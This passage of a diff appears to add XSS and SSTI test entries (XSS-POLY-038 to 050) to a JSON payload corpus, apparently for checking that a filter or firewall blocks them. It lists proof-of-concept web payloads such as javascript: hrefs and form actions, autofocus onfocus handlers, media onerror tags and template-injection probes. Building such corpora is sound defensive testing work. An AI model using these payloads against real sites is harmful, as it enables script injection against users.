"severity_hint": "High",
|
|
251
|
+
"notes": "Ruby string interpolation style",
|
|
252
|
+
"category": "XSS"
|
|
253
|
+
},
|
|
254
|
+
{
|
|
255
|
+
"id": "XSS-POLY-038",
|
|
256
|
+
"payload": "{{7*7}}",
|
|
257
|
+
"tags": ["polyglot", "ssti", "detection"],
|
|
258
|
+
"expected_block": true,
|
|
259
|
+
"severity_hint": "Medium",
|
|
260
|
+
"notes": "SSTI detection polyglot",
|
|
261
|
+
"category": "XSS"
|
|
262
|
+
},
|
|
263
|
+
{
|
|
264
|
+
"id": "XSS-POLY-039",
|
|
265
|
+
"payload": "${7*7}",
|
|
266
|
+
"tags": ["polyglot", "ssti", "detection"],
|
|
267
|
+
"expected_block": true,
|
|
268
|
+
"severity_hint": "Medium",
|
|
269
|
+
"notes": "SSTI/EL detection polyglot",
|
|
270
|
+
"category": "XSS"
|
|
271
|
+
},
|
|
272
|
+
{
|
|
273
|
+
"id": "XSS-POLY-040",
|
|
274
|
+
"payload": "<a href=\"javascript:alert(1)\">click</a>",
|
|
275
|
+
"tags": ["polyglot", "href", "javascript"],
|
|
276
|
+
"expected_block": true,
|
|
277
|
+
"severity_hint": "High",
|
|
278
|
+
"notes": "JavaScript in href attribute",
|
|
279
|
+
"category": "XSS"
|
|
280
|
+
},
|
|
281
|
+
{
|
|
282
|
+
"id": "XSS-POLY-041",
|
|
283
|
+
"payload": "<form action=\"javascript:alert(1)\"><input type=submit></form>",
|
|
284
|
+
"tags": ["polyglot", "form", "action"],
|
|
285
|
+
"expected_block": true,
|
|
286
|
+
"severity_hint": "Critical",
|
|
287
|
+
"notes": "Form action JavaScript polyglot",
|
|
288
|
+
"category": "XSS"
|
|
289
|
+
},
|
|
290
|
+
{
|
|
291
|
+
"id": "XSS-POLY-042",
|
|
292
|
+
"payload": "<button formaction=\"javascript:alert(1)\">X</button>",
|
|
293
|
+
"tags": ["polyglot", "formaction", "button"],
|
|
294
|
+
"expected_block": true,
|
|
295
|
+
"severity_hint": "Critical",
|
|
296
|
+
"notes": "Button formaction polyglot",
|
|
297
|
+
"category": "XSS"
|
|
298
|
+
},
|
|
299
|
+
{
|
|
300
|
+
"id": "XSS-POLY-043",
|
|
301
|
+
"payload": "<input onfocus=\"alert(1)\" autofocus>",
|
|
302
|
+
"tags": ["polyglot", "autofocus", "onfocus"],
|
|
303
|
+
"expected_block": true,
|
|
304
|
+
"severity_hint": "High",
|
|
305
|
+
"notes": "Autofocus trigger polyglot",
|
|
306
|
+
"category": "XSS"
|
|
307
|
+
},
|
|
308
|
+
{
|
|
309
|
+
"id": "XSS-POLY-044",
|
|
310
|
+
"payload": "<select onfocus=\"alert(1)\" autofocus>",
|
|
311
|
+
"tags": ["polyglot", "select", "autofocus"],
|
|
312
|
+
"expected_block": true,
|
|
313
|
+
"severity_hint": "High",
|
|
314
|
+
"notes": "Select autofocus polyglot",
|
|
315
|
+
"category": "XSS"
|
|
316
|
+
},
|
|
317
|
+
{
|
|
318
|
+
"id": "XSS-POLY-045",
|
|
319
|
+
"payload": "<textarea onfocus=\"alert(1)\" autofocus>",
|
|
320
|
+
"tags": ["polyglot", "textarea", "autofocus"],
|
|
321
|
+
"expected_block": true,
|
|
322
|
+
"severity_hint": "High",
|
|
323
|
+
"notes": "Textarea autofocus polyglot",
|
|
324
|
+
"category": "XSS"
|
|
325
|
+
},
|
|
326
|
+
{
|
|
327
|
+
"id": "XSS-POLY-046",
|
|
328
|
+
"payload": "<keygen onfocus=\"alert(1)\" autofocus>",
|
|
329
|
+
"tags": ["polyglot", "keygen", "deprecated"],
|
|
330
|
+
"expected_block": true,
|
|
331
|
+
"severity_hint": "Medium",
|
|
332
|
+
"notes": "Deprecated keygen autofocus",
|
|
333
|
+
"category": "XSS"
|
|
334
|
+
},
|
|
335
|
+
{
|
|
336
|
+
"id": "XSS-POLY-047",
|
|
337
|
+
"payload": "<video><source onerror=\"alert(1)\">",
|
|
338
|
+
"tags": ["polyglot", "video", "source"],
|
|
339
|
+
"expected_block": true,
|
|
340
|
+
"severity_hint": "High",
|
|
341
|
+
"notes": "Video source error polyglot",
|
|
342
|
+
"category": "XSS"
|
|
343
|
+
},
|
|
344
|
+
{
|
|
345
|
+
"id": "XSS-POLY-048",
|
|
346
|
+
"payload": "<audio src=x onerror=\"alert(1)\">",
|
|
347
|
+
"tags": ["polyglot", "audio", "onerror"],
|
|
348
|
+
"expected_block": true,
|
|
349
|
+
"severity_hint": "High",
|
|
350
|
+
"notes": "Audio tag onerror polyglot",
|
|
351
|
+
"category": "XSS"
|
|
352
|
+
},
|
|
353
|
+
{
|
|
354
|
+
"id": "XSS-POLY-049",
|
|
355
|
+
"payload": "<body/onload=alert(1)>",
|
|
356
|
+
"tags": ["polyglot", "body", "onload"],
|
|
357
|
+
"expected_block": true,
|
|
358
|
+
"severity_hint": "High",
|
|
359
|
+
"notes": "Body onload without space",
|
|
360
|
+
"category": "XSS"
|
|
361
|
+
},
|
|
362
|
+
{
|
|
363
|
+
"id": "XSS-POLY-050",
|
|
364
|
+
"payload": "<isindex action=\"javascript:alert(1)\" type=submit>",
|
|
365
|
+
"tags": ["polyglot", "isindex", "deprecated"],
|
|
366
|
+
"expected_block": true,
|
|
367
|
+
"severity_hint": "Medium",
|
|
368
|
+
"notes": "Deprecated isindex polyglot",
|
|
369
|
+
"category": "XSS"
|
|
370
|
+
}
|
|
371
|
+
]
|